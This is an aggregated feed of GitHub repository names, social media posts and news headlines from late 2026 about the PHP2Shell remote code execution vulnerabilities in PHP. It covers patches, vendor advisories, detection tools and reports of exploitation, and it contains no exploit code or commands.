code github.com MuhammadUwais 2026-11-04 13:22 UTCMuhammadUwais/php2shell-php-fpm-rceOpen source
-
code github.com catscarlet 2026-11-04 11:14 UTCcatscarlet/php-fpm-docker-PHP-8.0-CVE-2026-109618-109619-patchedOpen source
-
social bsky.app @kitafox.bsky.social 2026-11-04 01:11 UTCIPA、PHP2Shellへの注意喚起を更新 #IPA (Nov 2) www.ipa.go.jp/security/sec...Open source
-
code github.com SquidSec 2026-11-04 00:47 UTCSquidSec/php2shellOpen source
-
social bsky.app @robrich.bsky.social 2026-11-03 22:48 UTCcontainersecurity.dev/blog/how-to-... - How do you fix #PHP2Shell inside #containers? Spoiler: use a modern base image.Open source
-
social bsky.app @percona.bsky.social 2026-11-03 20:39 UTCAfter PHP2Shell vulnerabilities were disclosed, Percona patched affected systems following earlier protective mitigations. Our investigation found no customer data impact or indicators of compromise to date. Update: https://bit.ly/4yU0f3d…Open source
-
code github.com emc-kk 2026-11-03 19:27 UTCemc-kk/php2shell-CVE-2026-109618-CVE-2026-109619-PoCOpen source
-
news socprime.com 2026-11-03 18:09 UTCPHP2Shell Detection: CVE-2026-109618 & CVE-2026-109619 - SOC PrimeOpen source
-
social bsky.app @undercodenews.bsky.social 2026-11-03 14:53 UTCCritical PHP Vulnerabilities Enable Unauthenticated Remote Code Execution as BTCPay Server Users Report Cryptocurrency Theft + Video Two separate cybersecurity developments are raising concerns about vulnerabilities in internet-facing soft…Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-03 14:12 UTCTwo critical PHP flaws, CVE-2026-109618 and CVE-2026-109619, allow unauthenticated remote code execution. Exploitation attempts are reported, and code execution has been observed on honeypots. Patches are available; eSentire reports no cus…Open source
-
social bsky.app @esgeeks.bsky.social 2026-11-03 10:21 UTCphp2shell: qué hicieron los proveedores de hosting #CVE #Hosting #PHPOpen source
-
code github.com SecOpsLimited 2026-11-03 08:43 UTCSecOpsLimited/php2shell-finderOpen source
-
social bsky.app @milanmilanovic.bsky.social 2026-11-03 07:30 UTC2/ On 21 October, emergency patches were released for PHP to address two critical issues (CVE-2026-109618 and CVE-2026-109619). They affect all versions of PHP released in the last decade.Open source
-
social bsky.app @samilaiho.com 2026-11-03 06:34 UTCOracle Security Alert Advisory CVE-2026-109618 and CVE-2026-109619 URL: www.oracle.com/security-ale... Classification: Critical, Solution: Official Fix, Exploit Maturity: Not Defined, CVSSv3.1: 9.8Open source
-
social bsky.app @prgormley.bsky.social 2026-11-03 01:36 UTCLast week, the threat of an attack through a PHP flaw was real but theoretical. A day later, successful cyberattacks hit a honeypot set up by security researchers tracking cybercrime offenders. www.bleepingcomputer.com/news/securit...Open source
-
social bsky.app @hendryadrian.bsky.social 2026-11-02 22:24 UTCReversing Labs says AI-assisted research chained dormant PHP flaws CVE-2026-109618 and CVE-2026-109619 into PHP2Shell. It reports that pre-disclosure leaks triggered panic and early exploitation attempts before a patch was released.Open source
-
code github.com ankushsinghrajput-git 2026-11-02 17:31 UTCankushsinghrajput-git/php_vulnerability_scannerOpen source
-
social bsky.app @cyfar.ca 2026-11-02 17:21 UTC@reversinglabs.com AI-assisted PHP flaws enabled remote code execution and data theft; leaks triggered early exploit attempts before patching. - IOCs: CVE-2026-109618, CVE-2026-109619 - #CVE2026 #PHP2Shell #ThreatIntelOpen source
-
code github.com K2uci 2026-11-02 16:12 UTCK2uci/PHP2ShellPOC-CVE-2026-109619Open source
-
social bsky.app @inlinestyle.bsky.social 2026-11-02 15:25 UTCmail.inlinestyle.it has been updated to the latest Mailu release (2024.06.67), which ships a patched webmail runtime fixing the recent PHP2Shell CVEs (CVE-2026-109618, CVE-2026-109619). Your mail keeps getting the security updates it deser…Open source
-
social bsky.app @in4matics.cat 2026-11-02 13:53 UTC⚠️ Amazon confirma que l'explotació de PHP2Shell (CVE-2026-109618 i CVE-2026-109619) va començar el dissabte 17 d'octubre: quatre dies abans que sortissin els pegats. RCE crític a PHP. La divulgació coordinada s'havia d' ...Open source
-
social bsky.app @in4matics.cat 2026-11-02 13:53 UTCClouding publica un repositori APT/YUM amb PHP per a les distribucions que Sury ja no compila: Ubuntu 14.04, 16.04, 18.04 i 20.04. Paquets construïts des del codi font d'Ondrej Sury, amb el pegat de PHP2Shell (CVE-2026-1 ...Open source
-
code github.com geokali21 2026-11-02 11:41 UTCgeokali21/PHP2SHELL-TRYHACKME-WALKTHROUGHOpen source
-
social bsky.app @certvde.infosec.exchange.ap.brid.gy 2026-11-02 10:58 UTC🔒 New CSAF advisory published VDE-2026-139 Two critical PHP vulnerabilities in several Festo Didactic products CVE-2026-109618, CVE-2026-109619 Festo Didactic FactoryViews and MES4 deployed along with xampp bundle an Apache web server with…Open source
-
code github.com mrnaeem4 2026-11-02 10:15 UTCmrnaeem4/wazuh-php2shellOpen source
-
social bsky.app @certvde.infosec.exchange.ap.brid.gy 2026-11-02 10:07 UTC🔒 New CSAF advisory published VDE-2026-132 WAGO: Multiple Devices affected by PHP2Shell CVE-2026-109618, CVE-2026-109619 Critical vulnerabilities in the PHP runtime may allow a remote attacker to execute arbitrary code by exploiting weakne…Open source
-
social bsky.app @getpagespeed.bsky.social 2026-11-02 07:18 UTCPHP2Shell on CentOS 6: Patched PHP 5.3, 7.0 and 7.1 PHP2Shell (CVE-2026-109618, CVE-2026-109619) has no distribution or upstream fix on CentOS 6. Here is the in-place fix for the stock PHP 5.3 and Remi PHP 7.0 and 7.1, free to install.Open source
-
social bsky.app @trustlist.bsky.social 2026-11-02 06:43 UTCSecurity advisories 8/11 Synology adds PHP2Shell fixes for older DSM, but not for PHP 7.3 Advisory Synology-SA-26:14 now covers Calendar and Mail Station on DSM 6.2 to 7.1. #infosec #cybersecurity trustlist.uk/security-advisorie…Open source
-
code github.com andrysunjaya 2026-11-02 05:47 UTCandrysunjaya/php2shell-scannerOpen source
-
code github.com secopsxsaiyan 2026-11-02 04:23 UTCsecopsxsaiyan/php2shell-wazuh-detectionsOpen source
-
news the420.in 2026-11-02 01:46 UTCAttackers Chain Linux Flaw With Webshells to Gain Administrative Control - The 420.inOpen source
-
code github.com drekbad 2026-11-01 22:26 UTCdrekbad/php-searchOpen source
-
social bsky.app @theperimetersite.bsky.social 2026-11-01 17:33 UTCCISA put two PHP vulnerabilities on its Known Exploited Vulnerabilities list back on October 26. Federal agencies had until October 29 to fix them. #vulnerability #infosecOpen source
-
social bsky.app @arc-codex.com 2026-11-01 15:13 UTCPHP2Shell (CVE-2026-109618 and CVE-2026-109619): Detecting unauthenticated remote code execution in PHP core This article correctly identifies PHP2Shell's extreme severity due to being engine-level RCE with no authentication barrier. Howev…Open source
-
social bsky.app @never-warranty.bsky.social 2026-11-01 11:28 UTCwww.dailysecu.com/news/article...Open source
-
code github.com ys0816 2026-11-01 11:15 UTCys0816/php56-php2shell-rpmOpen source
-
code github.com mehmet-emir-eroglu 2026-11-01 10:48 UTCmehmet-emir-eroglu/CVE-2026-109618Open source
-
code github.com mehmet-emir-eroglu 2026-11-01 10:48 UTCmehmet-emir-eroglu/PHP2SHELLOpen source
-
code github.com esskslifetech 2026-11-01 05:41 UTCesskslifetech/PROTECTION2ShellOpen source
-
social bsky.app @undercode.bsky.social 2026-11-01 04:55 UTCDefending Modern Web Infrastructure: Navigating PHP2Shell RCE Flaws, Certificate Authority Weaknesses, and Rapid WordPress Exploitation + Video Introduction: The discovery of the critical "PHP2Shell" remote code execution vulnerabilities (…Open source
-
social bsky.app @jarkafterdark.com 2026-11-01 02:30 UTCa suspected china-nexus adversary is chaining two critical php flaws, together called php2shell, with a linux kernel bug called fragnesia to take root on internet-facing firewalls. the php flaws are cve-2026-109618 and cve-2026-109619, and…Open source
-
code github.com riyadh920 2026-11-01 02:20 UTCriyadh920/php2shell-2026-incident-analysisOpen source
-
social infosec.exchange @secdb 2026-11-01 01:06 UTC📈 CVE Published in last 30 days (2026-10-01 - 2026-10-01) See more at https:// secdb.nttzen.cloud/dashboard Total CVEs: Severity: - Critical: 1496 - High: 6581 - Medium: 6261 - Low: 974 - None: 2143 Status: - : 158 - Analyzed: 3213 - Await…Open source
-
social mastodon.social @116642965991028105 2026-11-01 00:00 UTC🚨 Critical 9.2 CVSS advisory: PHP2Shell (CVE-2026-109618 & CVE-2026-109619) impacts PHP 5.4 to 8.5. Remember: Updating WordPress plugins or Laravel code will NOT save you. This is an unauthenticated core C memory corruption flaw in the PHP…Open source
-
social bsky.app @cyberveille-ch.bsky.social 2026-10-31 23:00 UTC📢 php2shell : analyse technique des CVE-2026-109618 et CVE-2026-109619 affectant le cœur PHP Cet article constitue une analyse technique de première main sur les vulnérabilités php2shell (CVE-2026-109618 et CVE-2026-109619)… 🟡 vérification…Open source
-
code github.com haseebanjum 2026-10-31 20:31 UTChaseebanjum/php-patch-checkOpen source
-
code github.com Cgdocx 2026-10-31 20:08 UTCCgdocx/php2shell-lab-verificationOpen source
-
social bsky.app @sminhaz.bsky.social 2026-10-31 16:30 UTCeveryone's freaking out about the php rce. it's for windows installs. if you're running that in 2024 you have way bigger problems than this cve, tbh.Open source
-
code github.com marceloaugu 2026-10-31 15:31 UTCmarceloaugu/php2shell-ubuntuOpen source
-
social bsky.app @24hhotnewsai.bsky.social 2026-10-31 14:56 UTC🔥 PHP2Shell: 2 lỗ hổng lõi PHP bị khai thác, bản vá duy nhất là nâng cấp ngay #NewsBrief #VNNewsOpen source